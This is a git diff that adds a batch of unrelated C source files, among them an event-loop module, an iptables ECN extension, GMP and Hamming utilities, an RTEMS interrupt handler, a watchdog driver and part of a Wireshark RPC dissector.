+  ccevents_queue_advance_current(grp->sources);
+}
+
+__attribute__((pure,nonnull(1),always_inline))
+static inline bool
+ccevents_group_no_request_to_leave (ccevents_group_t * grp)
+{
+  if (grp->request_to_leave) {
+    return false;
+  } else {
+    ccevents_loop_t *	loop = ccevents_group_get_loop(grp);
+    if (loop) {
+      return (loop->request_to_leave)? false : true;
+    } else {
+      return true;
+    }
+  }
+}
+
+__attribute__((nonnull(1),always_inline))
+static inline bool
+ccevents_group_servicing_attempts_watermark_not_reached (ccevents_group_t * grp, size_t servicing_atempts_count)
+{
+  return (servicing_atempts_count < grp->servicing_attempts_watermark);
+}
+
+
+/** --------------------------------------------------------------------
+ ** Group functions.
+ ** ----------------------------------------------------------------- */
+
+void
+ccevents_group_init (ccevents_group_t * grp, size_t servicing_attempts_watermark)
+{
+  ccevents_queue_node_init(ccevents_node(grp));
+  ccevents_queue_init(grp->sources);
+  grp->request_to_leave			= false;
+  grp->servicing_attempts_watermark	= servicing_attempts_watermark;
+}
+
+void
+ccevents_group_final (ccevents_group_t * grp)
+{
+  while (ccevents_group_queue_is_not_empty(grp)) {
+    ccevents_source_final(ccevents_group_dequeue_source(grp));
+  }
+}
+
+void
+ccevents_group_enter (ccevents_group_t * grp)
+/* Enter the  loop for this group  and serve events until:  a request to
+   exit is  posted; no more  events sources are enqueued;  the watermark
+   level has been reached.
+*/
+{
+  grp->request_to_leave	= false;
+  {
+    volatile size_t	servicing_attempts_count = 0;
+
+    while (ccevents_group_no_request_to_leave(grp) &&
+	   ccevents_group_queue_is_not_empty(grp)       &&
+	   ccevents_group_servicing_attempts_watermark_not_reached(grp, servicing_attempts_count)) {
+      ccevents_source_t *	next_source = ccevents_group_current_source(grp);
+      if (next_source) {
+	cce_location_t	L[1];
+
+	/* We need to  remember that whenever we  apply the do_one_event
+	   function to a source: the  source's methods might dequeue the
+	   source  itself from  the group  making the  next one  the new
+	   current.  So,  to avoid double  advancing, we advance  now to
+	   the next source. */
+	ccevents_group_advance_to_next_source(grp);
+
+	++servicing_attempts_count;
+
+	if (cce_location(L)) {
+	  cce_run_error_handlers_final(L);
+	} else {
+	  ccevents_source_do_one_event(L, next_source);
+	  cce_run_cleanup_handlers(L);
+	}
+      }
+    }
+  }
+  grp->request_to_leave	= false;
+}
+
+/* end of file */
diff --git a/pool/shard001/C/0024897_libipt_ECN.c b/pool/shard001/C/0024897_libipt_ECN.c
new file mode 100644
index 0000000000000000000000000000000000000000..2aa1a00c18976290126ece91c574657553f67d77
--- /dev/null
+++ b/pool/shard001/C/0024897_libipt_ECN.c
@@ -0,0 +1,166 @@
+/* Shared library add-on to iptables for ECN, $Version$
+ *
+ * (C) 2002 by Harald Welte <laforge@gnumonks.org>
+ *
+ * This program is distributed under the terms of GNU GPL v2, 1991
+ *
+ * libipt_ECN.c borrowed heavily from libipt_DSCP.c
+ */
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <getopt.h>
+
+#include <xtables.h>
+#include <linux/netfilter_ipv4/ipt_ECN.h>
+
+static void ECN_help(void)
+{
+	printf(
+"ECN target options\n"
+"  --ecn-tcp-remove		Remove all ECN bits from TCP header\n");
+}
+
+#if 0
+"ECN target v%s EXPERIMENTAL options (use with extreme care!)\n"
+"  --ecn-ip-ect			Set the IPv4 ECT codepoint (0 to 3)\n"
+"  --ecn-tcp-cwr		Set the IPv4 CWR bit (0 or 1)\n"
+"  --ecn-tcp-ece		Set the IPv4 ECE bit (0 or 1)\n",
+#endif
+
+
+static const struct option ECN_opts[] = {
+	{.name = "ecn-tcp-remove", .has_arg = false, .val = 'F'},
+	{.name = "ecn-tcp-cwr",    .has_arg = true,  .val = 'G'},
+	{.name = "ecn-tcp-ece",    .has_arg = true,  .val = 'H'},
+	{.name = "ecn-ip-ect",     .has_arg = true,  .val = '9'},
+	XT_GETOPT_TABLEEND,
+};
+
+static int ECN_parse(int c, char **argv, int invert, unsigned int *flags,
+                     const void *entry, struct xt_entry_target **target)
+{
+	unsigned int result;
+	struct ipt_ECN_info *einfo
+		= (struct ipt_ECN_info *)(*target)->data;
+
+	switch (c) {
+	case 'F':
+		if (*flags)
+			xtables_error(PARAMETER_PROBLEM,
+			        "ECN target: Only use --ecn-tcp-remove ONCE!");
+		einfo->operation = IPT_ECN_OP_SET_ECE | IPT_ECN_OP_SET_CWR;
+		einfo->proto.tcp.ece = 0;
+		einfo->proto.tcp.cwr = 0;
+		*flags |= IPT_ECN_OP_SET_ECE | IPT_ECN_OP_SET_CWR;
+		break;
+	case 'G':
+		if (*flags & IPT_ECN_OP_SET_CWR)
+			xtables_error(PARAMETER_PROBLEM,
+				"ECN target: Only use --ecn-tcp-cwr ONCE!");
+		if (!xtables_strtoui(optarg, NULL, &result, 0, 1))
+			xtables_error(PARAMETER_PROBLEM,
+				   "ECN target: Value out of range");
+		einfo->operation |= IPT_ECN_OP_SET_CWR;
+		einfo->proto.tcp.cwr = result;
+		*flags |= IPT_ECN_OP_SET_CWR;
+		break;
+	case 'H':
+		if (*flags & IPT_ECN_OP_SET_ECE)
+			xtables_error(PARAMETER_PROBLEM,
+				"ECN target: Only use --ecn-tcp-ece ONCE!");
+		if (!xtables_strtoui(optarg, NULL, &result, 0, 1))
+			xtables_error(PARAMETER_PROBLEM,
+				   "ECN target: Value out of range");
+		einfo->operation |= IPT_ECN_OP_SET_ECE;
+		einfo->proto.tcp.ece = result;
+		*flags |= IPT_ECN_OP_SET_ECE;
+		break;
+	case '9':
+		if (*flags & IPT_ECN_OP_SET_IP)
+			xtables_error(PARAMETER_PROBLEM,
+				"ECN target: Only use --ecn-ip-ect ONCE!");
+		if (!xtables_strtoui(optarg, NULL, &result, 0, 3))
+			xtables_error(PARAMETER_PROBLEM,
+				   "ECN target: Value out of range");
+		einfo->operation |= IPT_ECN_OP_SET_IP;
+		einfo->ip_ect = result;
+		*flags |= IPT_ECN_OP_SET_IP;
+		break;
+	}
+
+	return 1;
+}
+
+static void ECN_check(unsigned int flags)
+{
+	if (!flags)
+		xtables_error(PARAMETER_PROBLEM,
+		           "ECN target: An operation is required");
+}
+
+static void ECN_print(const void *ip, const struct xt_entry_target *target,
+                      int numeric)
+{
+	const struct ipt_ECN_info *einfo =
+		(const struct ipt_ECN_info *)target->data;
+
+	printf(" ECN");
+
+	if (einfo->operation == (IPT_ECN_OP_SET_ECE|IPT_ECN_OP_SET_CWR)
+	    && einfo->proto.tcp.ece == 0
+	    && einfo->proto.tcp.cwr == 0)
+		printf(" TCP remove");
+	else {
+		if (einfo->operation & IPT_ECN_OP_SET_ECE)
+			printf(" ECE=%u", einfo->proto.tcp.ece);
+
+		if (einfo->operation & IPT_ECN_OP_SET_CWR)
+			printf(" CWR=%u", einfo->proto.tcp.cwr);
+
+		if (einfo->operation & IPT_ECN_OP_SET_IP)
+			printf(" ECT codepoint=%u", einfo->ip_ect);
+	}
+}
+
+static void ECN_save(const void *ip, const struct xt_entry_target *target)
+{
+	const struct ipt_ECN_info *einfo =
+		(const struct ipt_ECN_info *)target->data;
+
+	if (einfo->operation == (IPT_ECN_OP_SET_ECE|IPT_ECN_OP_SET_CWR)
+	    && einfo->proto.tcp.ece == 0
+	    && einfo->proto.tcp.cwr == 0)
+		printf(" --ecn-tcp-remove");
+	else {
+
+		if (einfo->operation & IPT_ECN_OP_SET_ECE)
+			printf(" --ecn-tcp-ece %d", einfo->proto.tcp.ece);
+
+		if (einfo->operation & IPT_ECN_OP_SET_CWR)
+			printf(" --ecn-tcp-cwr %d", einfo->proto.tcp.cwr);
+
+		if (einfo->operation & IPT_ECN_OP_SET_IP)
+			printf(" --ecn-ip-ect %d", einfo->ip_ect);
+	}
+}
+
+static struct xtables_target ecn_tg_reg = {
+	.name		= "ECN",
+	.version	= XTABLES_VERSION,
+	.family		= NFPROTO_IPV4,
+	.size		= XT_ALIGN(sizeof(struct ipt_ECN_info)),
+	.userspacesize	= XT_ALIGN(sizeof(struct ipt_ECN_info)),
+	.help		= ECN_help,
+	.parse		= ECN_parse,
+	.final_check	= ECN_check,
+	.print		= ECN_print,
+	.save		= ECN_save,
+	.extra_opts	= ECN_opts,
+};
+
+void _init(void)
+{
+	xtables_register_target(&ecn_tg_reg);
+}
diff --git a/pool/shard001/C/0024899_execute.c b/pool/shard001/C/0024899_execute.c
new file mode 100644
index 0000000000000000000000000000000000000000..89953f1239ea4aeb1eeda380f3c37539d48f522e
--- /dev/null
+++ b/pool/shard001/C/0024899_execute.c
@@ -0,0 +1,27 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <signal.h>
+#include <sys/wait.h>
+
+int execute(char *argv[])
+{
+	int pid;
+	int child_info = -1;
+	if(argv[0] == NULL) {
+		return 0;
+	}else if((pid = fork()) == -1) {
+		perror("fork");
+	}else if(pid == 0) {
+		signal(SIGINT, SIG_DFL);
+		signal(SIGQUIT, SIG_DFL);
+		execvp(argv[0], argv);
+		perror("cannot execute command");
+		exit(1);
+	}else{
+		if(wait(&child_info) == -1) {
+			perror("Wait");
+		}
+	}
+	return child_info;
+}
diff --git a/pool/shard001/C/0024902_get_d_2exp.c b/pool/shard001/C/0024902_get_d_2exp.c
new file mode 100644
index 0000000000000000000000000000000000000000..17ce229f2511f9f2d0b3c8299da9b8fccd6a5349
--- /dev/null
+++ b/pool/shard001/C/0024902_get_d_2exp.c
@@ -0,0 +1,61 @@
+/* double mpf_get_d_2exp (signed long int *exp, mpf_t src).
+
+Copyright 2001-2004 Free Software Foundation, Inc.
+
+This file is part of the GNU MP Library.
+
+The GNU MP Library is free software; you can redistribute it and/or modify
+it under the terms of either:
+
+  * the GNU Lesser General Public License as published by the Free
+    Software Foundation; either version 3 of the License, or (at your
+    option) any later version.
+
+or
+
+  * the GNU General Public License as published by the Free Software
+    Foundation; either version 2 of the License, or (at your option) any
+    later version.
+
+or both in parallel, as here.
+
+The GNU MP Library is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+for more details.
+
+You should have received copies of the GNU General Public License and the
+GNU Lesser General Public License along with the GNU MP Library.  If not,
+see https://www.gnu.org/licenses/.  */
+
+#include "gmp.h"
+#include "gmp-impl.h"
+#include "longlong.h"
+
+
+double
+mpf_get_d_2exp (signed long int *exp2, mpf_srcptr src)
+{
+  mp_size_t size, abs_size;
+  mp_srcptr ptr;
+  int cnt;
+  long exp;
+
+  size = SIZ(src);
+  if (UNLIKELY (size == 0))
+    {
+      *exp2 = 0;
+      return 0.0;
+    }
+
+  ptr = PTR(src);
+  abs_size = ABS (size);
+  count_leading_zeros (cnt, ptr[abs_size - 1]);
+  cnt -= GMP_NAIL_BITS;
+
+  exp = EXP(src) * GMP_NUMB_BITS - cnt;
+  *exp2 = exp;
+
+  return mpn_get_d (ptr, abs_size, (mp_size_t) 0,
+                    (long) - (abs_size * GMP_NUMB_BITS - cnt));
+}
diff --git a/pool/shard001/C/0024915_hamming.c b/pool/shard001/C/0024915_hamming.c
new file mode 100644
index 0000000000000000000000000000000000000000..e27748a62d8c09a1715b389b9e6ad279f5b14775
--- /dev/null
+++ b/pool/shard001/C/0024915_hamming.c
@@ -0,0 +1,74 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include "hamming.h"
+
+//A very simple library of utilities related to calculating byte-level hamming 
+//Done in one of the least efficient manners possible
+
+int hamming_weight(char c){
+	int ret = 0;
+	for(int i =7; i >=0; i--){ //Strongly depends on 8-bit byte (and 1 byte char)
+		char tmp = c;
+		tmp = (tmp >>i)&0x01; //move the (i+1)th bit to the lowest position, and & it with 0x01 (only lowest bit on) to negate all other remaining bits
+		if(tmp == 1)
+			ret++;
+	}
+	return ret;
+}
+
+int str_hamming_weight(char* c){
+	char tmp = (c[0]);
+	int i = 0;
+	int ret = 0;
+	while(tmp != '\0'){ //don't run off the end of the string
+		ret += hamming_weight(tmp);
+		tmp = (c[++i]);
+	}
+	return ret;
+}
+
+int int_hamming_weight(int c){
+	int ret = 0;
+	char* tmp = (char*)(&c); //All hail insane C pointer hacking!
+	for(int i = 0; i < sizeof(int); i++){
+		ret += hamming_weight(tmp[i]);
+	}
+	return ret;
+}		
+
+long void_hamming_weight(void* c, int len){
+	int ret = 0;
+	char* tmp = (char*)c;
+	for(int i = 0; i < len; i++){
+		ret += hamming_weight(tmp[i]);
+	}
+	return ret;
+}
+
+//Calculate the hamming distance between two bytes
+int hamming_distance(char c1, char c2){
+	return hamming_weight(c1^c2);
+}
+
+
+/*A set of test cases
+int main(int argc, char* argv[]){ 
+	if(sizeof(char) != 1){
+		printf("You have a strange char size: %d. I can't handle this\n",sizeof(char));
+		exit(1);
+	}
+	float t = 10.10;
+	printf("Weight of 0x00: %d\n",hamming_weight(0));
+	printf("Weight of A: %d\n",hamming_weight('A'));
+	printf("Weight of b: %d\n",hamming_weight('b'));
+	printf("Weight of 127: %d\n",hamming_weight(127));
+	printf("Weight of 0xFF: %d\n",hamming_weight(0xFF));
+	printf("Weight of \"Test\": %d\n",str_hamming_weight("Test"));
+	printf("Weight of 0x0101: %d\n",str_hamming_weight("\x01\x01"));
+	printf("Weight of 1000: %d\n",int_hamming_weight(1000));
+	printf("Weight of 10.10: %d\n",void_hamming_weight(&t,sizeof(float)));
+	printf("Distance between 0x00 and 0x01: %d\n",hamming_distance(0x00,0x01));
+	printf("Distance between 0xFE and 0xFF: %d\n",hamming_distance(0xFE,0xFF));
+	printf("Distance between 0xCA and 0x4D: %d\n",hamming_distance(0xCA,0x4D));
+	exit(0);
+}*/
diff --git a/pool/shard001/C/0024927_main_test.c b/pool/shard001/C/0024927_main_test.c
new file mode 100644
index 0000000000000000000000000000000000000000..c76a6625adf0619c11a367a091d5175db0eb4946
--- /dev/null
+++ b/pool/shard001/C/0024927_main_test.c
@@ -0,0 +1,31 @@
+
+#include <check.h>
+
+TCase* test_ut_basic();
+TCase* test_lib_ccl();
+TCase* test_sp_buffer();
+TCase* test_sp_field();
+TCase* test_sp_struct();
+
+Suite* test_suite() {
+    Suite* s = suite_create("test_suite");
+
+    suite_add_tcase(s, test_ut_basic());
+    suite_add_tcase(s, test_lib_ccl());
+    suite_add_tcase(s, test_sp_buffer());
+    suite_add_tcase(s, test_sp_field());
+    suite_add_tcase(s, test_sp_struct());
+    return s;
+}
+
+
+int main(int argc, char** argv) {
+    int num_failed;
+    Suite* s = test_suite();
+    SRunner *sr = srunner_create(s);
+    srunner_run_all(sr, CK_NORMAL);
+    num_failed = srunner_ntests_failed(sr);
+    srunner_free(sr);
+    return (num_failed == 0) ? 0 : 1;
+}
+    
diff --git a/pool/shard001/C/0024934_irq_init.c b/pool/shard001/C/0024934_irq_init.c
new file mode 100644
index 0000000000000000000000000000000000000000..74aaebb275ec37ec29b620d1e73a02d65c943382
--- /dev/null
+++ b/pool/shard001/C/0024934_irq_init.c
@@ -0,0 +1,328 @@
+/*===============================================================*\
+| Project: RTEMS virtex BSP                                       |
++-----------------------------------------------------------------+
+| Partially based on the code references which are named below.   |
+| Adaptions, modifications, enhancements and any recent parts of  |
+| the code are:                                                   |
+|                    Copyright (c) 2007                           |
+|                    Embedded Brains GmbH                         |
+|                    Obere Lagerstr. 30                           |
+|                    D-82178 Puchheim                             |
+|                    Germany                                      |
+|                    rtems@embedded-brains.de                     |
++-----------------------------------------------------------------+
+| The license and distribution terms for this file may be         |
+| found in the file LICENSE in this distribution or at            |
+|                                                                 |
+| http://www.rtems.com/license/LICENSE.                           |
+|                                                                 |
++-----------------------------------------------------------------+
+| this file contains the irq controller handler                   |
+\*===============================================================*/
+#include <libcpu/spr.h>
+#include <bsp/irq.h>
+#include <bsp.h>
+#include <rtems/bspIo.h>
+#include <rtems/powerpc/powerpc.h>
+#include <bsp/vectors.h>
+
+uint32_t* IRQ_Counter = (uint32_t*)0x1500;
+
+static rtems_irq_connect_data rtemsIrqTbl[BSP_IRQ_NUMBER];
+rtems_irq_connect_data *BSP_rtems_irq_tbl;
+rtems_irq_global_settings* BSP_rtems_irq_config;
+
+/***********************************************************
+ * dummy functions for on/off/isOn calls
+ * these functions just do nothing fulfill the semantic
+ * requirements to enable/disable a certain interrupt or exception
+ */
+void BSP_irq_nop_func(const rtems_irq_connect_data *unused)
+{
+  /*
+   * nothing to do
+   */
+}
+
+void BSP_irq_nop_hdl(void *hdl)
+{
+  /*
+   * nothing to do
+   */
+}
+
+int BSP_irq_isOn_func(const rtems_irq_connect_data *unused)
+{
+  /*
+   * nothing to do
+   */
+  return 0;
+}
+
+/***********************************************************
+ * interrupt handler and its enable/disable functions
+ ***********************************************************/
+
+/***********************************************************
+ * functions to enable/disable/query external/critical interrupts
+ */
+void BSP_irqexc_on_fnc(rtems_irq_connect_data *conn_data)
+{
+  uint32_t msr_value;
+  /*
+   * get current MSR value
+   */
+  _CPU_MSR_GET(msr_value);
+
+  msr_value |= PPC_MSR_EE;
+  _CPU_MSR_SET(msr_value);
+}
+
+void BSP_irqexc_off_fnc(rtems_irq_connect_data *unused)
+{
+  uint32_t msr_value;
+  /*
+   * get current MSR value
+   */
+  _CPU_MSR_GET(msr_value);
+
+  msr_value &= ~PPC_MSR_EE;
+  _CPU_MSR_SET(msr_value);
+}
+
+/***********************************************************
+ * High level IRQ handler called from shared_raw_irq_code_entry
+ */
+int C_dispatch_irq_handler (BSP_Exception_frame *frame, unsigned int excNum)
+{
+  /*
+   * Handle interrupt
+   */
+  switch(excNum) {
+  case ASM_EXT_VECTOR:
+    BSP_rtems_irq_tbl[BSP_EXT].hdl(BSP_rtems_irq_tbl[BSP_EXT].handle);
+    break;
+  case ASM_BOOKE_DEC_VECTOR:
+    BSP_rtems_irq_tbl[BSP_PIT].hdl(BSP_rtems_irq_tbl[BSP_PIT].handle);
+    break;
+#if 0 /* Critical interrupts not yet supported */
+  case ASM_BOOKE_CRIT_VECTOR:
+    BSP_rtems_irq_tbl[BSP_CRIT].hdl(BSP_rtems_irq_tbl[BSP_CRIT].handle);
+    break;
+#endif
+  }
+
+  return 0;
+}
+
+/***********************************************************
+ * functions to set/get/remove interrupt handlers
+ ***********************************************************/
+int BSP_install_rtems_irq_handler  (const rtems_irq_connect_data* irq)
+{
+  rtems_interrupt_level level;
+
+  /*
+   * check for valid irq name
+   * if invalid, print error and return 0
+   */
+  if (!BSP_IS_VALID_IRQ(irq->name)) {
+    printk("Invalid interrupt vector %d\n",irq->name);
+    return 0;
+  }
+
+  /*
+   * disable interrupts
+   */
+  rtems_interrupt_disable(level);
+
+  /*
+   * check, that default handler is installed now
+   */
+  if (rtemsIrqTbl[irq->name].hdl != BSP_rtems_irq_config->defaultEntry.hdl) {
+    rtems_interrupt_enable(level);
+    printk("IRQ vector %d already connected\n",irq->name);
+    return 0;
+  }
+
+  /*
+   * store new handler data
+   */
+  rtemsIrqTbl[irq->name] = *irq;
+
+  /*
+   * call "on" function to enable interrupt at device
+   */
+  irq->on(irq);
+
+  /*
+   * reenable interrupts
+   */
+  rtems_interrupt_enable(level);
+
+  return 1;
+}
+
+int BSP_get_current_rtems_irq_handler	(rtems_irq_connect_data* irq)
+{
+  rtems_interrupt_level level;
+
+  /*
+   * check for valid IRQ name
+   */
+  if (!BSP_IS_VALID_IRQ(irq->name)) {
+    return 0;
+  }
+  rtems_interrupt_disable(level);
+
+  /*
+   * return current IRQ entry
+   */
+  *irq = rtemsIrqTbl[irq->name];
+  rtems_interrupt_enable(level);
+  return 1;
+}
+
+int BSP_remove_rtems_irq_handler  (const rtems_irq_connect_data* irq)
+{
+  rtems_interrupt_level level;
+
+  /*
+   * check for valid IRQ name
+   */
+  if (!BSP_IS_VALID_IRQ(irq->name)) {
+    return 0;
+  }
+  rtems_interrupt_disable(level);
+
+  /*
+   * check, that specified handler is really connected now
+   */
+  if (rtemsIrqTbl[irq->name].hdl != irq->hdl) {
+    rtems_interrupt_enable(level);
+    return 0;
+  }
+
+  /*
+   * disable interrupt at source
+   */
+  irq->off(irq);
+
+  /*
+   * restore default interrupt handler
+   */
+  rtemsIrqTbl[irq->name] = BSP_rtems_irq_config->defaultEntry;
+
+  /*
+   * reenable interrupts
+   */
+  rtems_interrupt_enable(level);
+
+  return 1;
+}
+
+/***********************************************************
+ * functions to set/get the basic interrupt management setup
+ ***********************************************************/
+/*
+ * (Re) get info on current RTEMS interrupt management.
+ */
+int BSP_rtems_irq_mngt_get(rtems_irq_global_settings** ret_ptr)
+{
+  *ret_ptr = BSP_rtems_irq_config;
+  return 0;
+}
+
+
+/*
+ * set management stuff
+ */
+int BSP_rtems_irq_mngt_set(rtems_irq_global_settings* config)
+{
+  int                    i;
+  rtems_interrupt_level  level;
+
+  rtems_interrupt_disable(level);
+
+  /*
+   * store given configuration
+   */
+  BSP_rtems_irq_config = config;
+  BSP_rtems_irq_tbl    = BSP_rtems_irq_config->irqHdlTbl;
+
+  /*
+   * store any irq-like processor exceptions
+   */
+  for (i = BSP_PROCESSOR_IRQ_LOWEST_OFFSET;
+       i < BSP_PROCESSOR_IRQ_MAX_OFFSET;
+       i++) {
+    if (BSP_rtems_irq_tbl[i].hdl != config->defaultEntry.hdl) {
+      if (BSP_rtems_irq_tbl[i].on != NULL) {
+	BSP_rtems_irq_tbl[i].on
+	  (&(BSP_rtems_irq_tbl[i]));
+      }
+    }
+    else {
+      if (BSP_rtems_irq_tbl[i].off != NULL) {
+	BSP_rtems_irq_tbl[i].off
+	  (&(BSP_rtems_irq_tbl[i]));
+      }
+    }
+  }
+  rtems_interrupt_enable(level);
+  return 1;
+}
+
+/*
+ * dummy for an empty IRQ handler entry
+ */
+static rtems_irq_connect_data emptyIrq = {
+  0, 		         /* Irq Name                 */
+  BSP_irq_nop_hdl,       /* handler function         */
+  NULL,                  /* handle passed to handler */
+  BSP_irq_nop_func,      /* on function              */
+  BSP_irq_nop_func,      /* off function             */
+  BSP_irq_isOn_func      /* isOn function            */
+};
+
+static rtems_irq_global_settings initialConfig = {
+  BSP_IRQ_NUMBER,    /* irqNb */
+  {  0, 		         /* Irq Name                 */
+     BSP_irq_nop_hdl,       /* handler function         */
+     NULL,                  /* handle passed to handler */
+     BSP_irq_nop_func,      /* on function              */
+     BSP_irq_nop_func,      /* off function             */
+     BSP_irq_isOn_func      /* isOn function            */
+  }, /* emptyIrq */
+  rtemsIrqTbl, /* irqHdlTbl  */
+  0,           /* irqBase    */
+  NULL         /* irqPrioTbl */
+};
+
+void BSP_rtems_irq_mngt_init(unsigned cpuId)
+{
+  int i;
+
+  /*
+   * connect all exception vectors needed
+   */
+  ppc_exc_set_handler(ASM_EXT_VECTOR,       C_dispatch_irq_handler);
+  ppc_exc_set_handler(ASM_BOOKE_DEC_VECTOR, C_dispatch_irq_handler);
+
+  /*
+   * setup interrupt handlers table
+   */
+  for (i = 0;
+       i < BSP_IRQ_NUMBER;
+       i++) {
+    rtemsIrqTbl[i]      = emptyIrq;
+    rtemsIrqTbl[i].name = i;
+  }
+
+  /*
+   * initialize interrupt management
+   */
+  if (!BSP_rtems_irq_mngt_set(&initialConfig)) {
+    BSP_panic("Unable to initialize RTEMS interrupt Management!!! System locked\n");
+  }
+}
diff --git a/pool/shard001/C/0024952_i12.c b/pool/shard001/C/0024952_i12.c
new file mode 100644
index 0000000000000000000000000000000000000000..ac3a5618148e6bd1b958106cadc1d2cb7c20ce7d
--- /dev/null
+++ b/pool/shard001/C/0024952_i12.c
@@ -0,0 +1,55 @@
+
+# include "testing.h"
+# include <signal.h>
+
+
+E4C_DEFINE_EXCEPTION(CustomException, "This is a custom exception", RuntimeException);
+e4c_signal_mapping custom_mappings[3] = {
+
+    E4C_IGNORE_SIGNAL(SIGTERM),
+    E4C_SIGNAL_MAPPING(SIGINT, CustomException),
+    E4C_NULL_SIGNAL_MAPPING
+};
+
+
+/**
+ * Setting custom signal mappings
+ *
+ * This test sets custom *signal mappings*. Then a couple of *signals* are
+ * raised. The first one is ignored; the second one is converted into a
+ * user-defined exception.
+ *
+ */
+TEST_CASE{
+
+    volatile E4C_BOOL SIGTERM_was_ignored = E4C_FALSE;
+    volatile E4C_BOOL SIGINT_was_thrown = E4C_FALSE;
+
+    e4c_context_begin(E4C_FALSE);
+
+    e4c_context_set_signal_mappings(custom_mappings);
+
+    TEST_ASSERT_EQUALS(e4c_context_get_signal_mappings(), custom_mappings);
+
+    E4C_TRY{
+
+        raise(SIGTERM);
+
+        SIGTERM_was_ignored = E4C_TRUE;
+
+        SIGINT_was_thrown = E4C_TRUE;
+
+        raise(SIGINT);
+
+        SIGINT_was_thrown = E4C_FALSE;
+
+    }E4C_CATCH(RuntimeException){
+
+        TEST_ASSERT_EQUALS(e4c_get_exception()->type, &CustomException);
+    }
+
+    e4c_context_end();
+
+    TEST_ASSERT(SIGTERM_was_ignored);
+    TEST_ASSERT(SIGINT_was_thrown);
+}
diff --git a/pool/shard001/C/0024954_s5p_wdt.c b/pool/shard001/C/0024954_s5p_wdt.c
new file mode 100644
index 0000000000000000000000000000000000000000..a6e54d9f77356a5d47b268ce597ef7dc7ff72c39
--- /dev/null
+++ b/pool/shard001/C/0024954_s5p_wdt.c
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2012 Samsung Electronics
+ * Minkyu Kang <mk7.kang@samsung.com>
+ *
+ * SPDX-License-Identifier:	GPL-2.0+
+ */
+
+#include <common.h>
+#include <asm/io.h>
+#include <asm/arch/watchdog.h>
+
+#define PRESCALER_VAL 255
+
+void wdt_stop(void)
+{
+	struct s5p_watchdog *wdt =
+		(struct s5p_watchdog *)samsung_get_base_watchdog();
+	unsigned int wtcon;
+
+	wtcon = readl(&wdt->wtcon);
+	wtcon &= ~(WTCON_EN | WTCON_INT | WTCON_RESET);
+
+	writel(wtcon, &wdt->wtcon);
+}
+
+void wdt_start(unsigned int timeout)
+{
+	struct s5p_watchdog *wdt =
+		(struct s5p_watchdog *)samsung_get_base_watchdog();
+	unsigned int wtcon;
+
+	wdt_stop();
+
+	wtcon = readl(&wdt->wtcon);
+	wtcon |= (WTCON_EN | WTCON_CLK(WTCON_CLK_128));
+	wtcon &= ~WTCON_INT;
+	wtcon |= WTCON_RESET;
+	wtcon |= WTCON_PRESCALER(PRESCALER_VAL);
+
+	writel(timeout, &wdt->wtdat);
+	writel(timeout, &wdt->wtcnt);
+	writel(wtcon, &wdt->wtcon);
+}
diff --git a/pool/shard001/C/0024955_packet-rstat.c b/pool/shard001/C/0024955_packet-rstat.c
new file mode 100644
index 0000000000000000000000000000000000000000..b7003174f45d6a971ffa00601184d372a7e6b4bd
--- /dev/null
+++ b/pool/shard001/C/0024955_packet-rstat.c
@@ -0,0 +1,150 @@
+/* packet-rstat.c
+ * Stubs for Sun's remote statistics RPC service
+ *
+ * Guy Harris <guy@alum.mit.edu>
+ *
+ * $Id$
+ *
+ * Wireshark - Network traffic analyzer
+ * By Gerald Combs <gerald@wireshark.org>
+ * Copyright 1998 Gerald Combs
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include "config.h"
+
+
+
+#include "packet-rpc.h"
+
+static int proto_rstat = -1;
+static int hf_rstat_procedure_v1 = -1;
+static int hf_rstat_procedure_v2 = -1;
+static int hf_rstat_procedure_v3 = -1;
+static int hf_rstat_procedure_v4 = -1;
+
+static gint ett_rstat = -1;
+
+#define RSTAT_PROGRAM	100001
+
+#define RSTATPROC_NULL		0
+#define RSTATPROC_STATS		1
+#define RSTATPROC_HAVEDISK	2
+
+/* proc number, "proc name", dissect_request, dissect_reply */
+/* NULL as function pointer means: type of arguments is "void". */
+static const vsff rstat1_proc[] = {
+	{ RSTATPROC_NULL,	"NULL",
+		NULL,	NULL },
+	{ RSTATPROC_STATS,	"STATS",
+		NULL,	NULL },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK",
+		NULL,	NULL },
+	{ 0,	NULL,	NULL,	NULL }
+};
+static const value_string rstat1_proc_vals[] = {
+	{ RSTATPROC_NULL,	"NULL" },
+	{ RSTATPROC_STATS,	"STATS" },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK" },
+	{ 0,	NULL }
+};
+
+static const vsff rstat2_proc[] = {
+	{ RSTATPROC_NULL,	"NULL",
+		NULL,	NULL },
+	{ RSTATPROC_STATS,	"STATS",
+		NULL,	NULL },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK",
+		NULL,	NULL },
+	{ 0,	NULL,	NULL,	NULL }
+};
+static const value_string rstat2_proc_vals[] = {
+	{ RSTATPROC_NULL,	"NULL" },
+	{ RSTATPROC_STATS,	"STATS" },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK" },
+	{ 0,	NULL }
+};
+
+static const vsff rstat3_proc[] = {
+	{ RSTATPROC_NULL,	"NULL",
+		NULL,	NULL },
+	{ RSTATPROC_STATS,	"STATS",
+		NULL,	NULL },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK",
+		NULL,	NULL },
+	{ 0,	NULL,	NULL,	NULL }
+};
+static const value_string rstat3_proc_vals[] = {
+	{ RSTATPROC_NULL,	"NULL" },
+	{ RSTATPROC_STATS,	"STATS" },
+	{ RSTATPROC_HAVEDISK,	"HAVEDISK" },
+	{ 0,	NULL }
+};
+
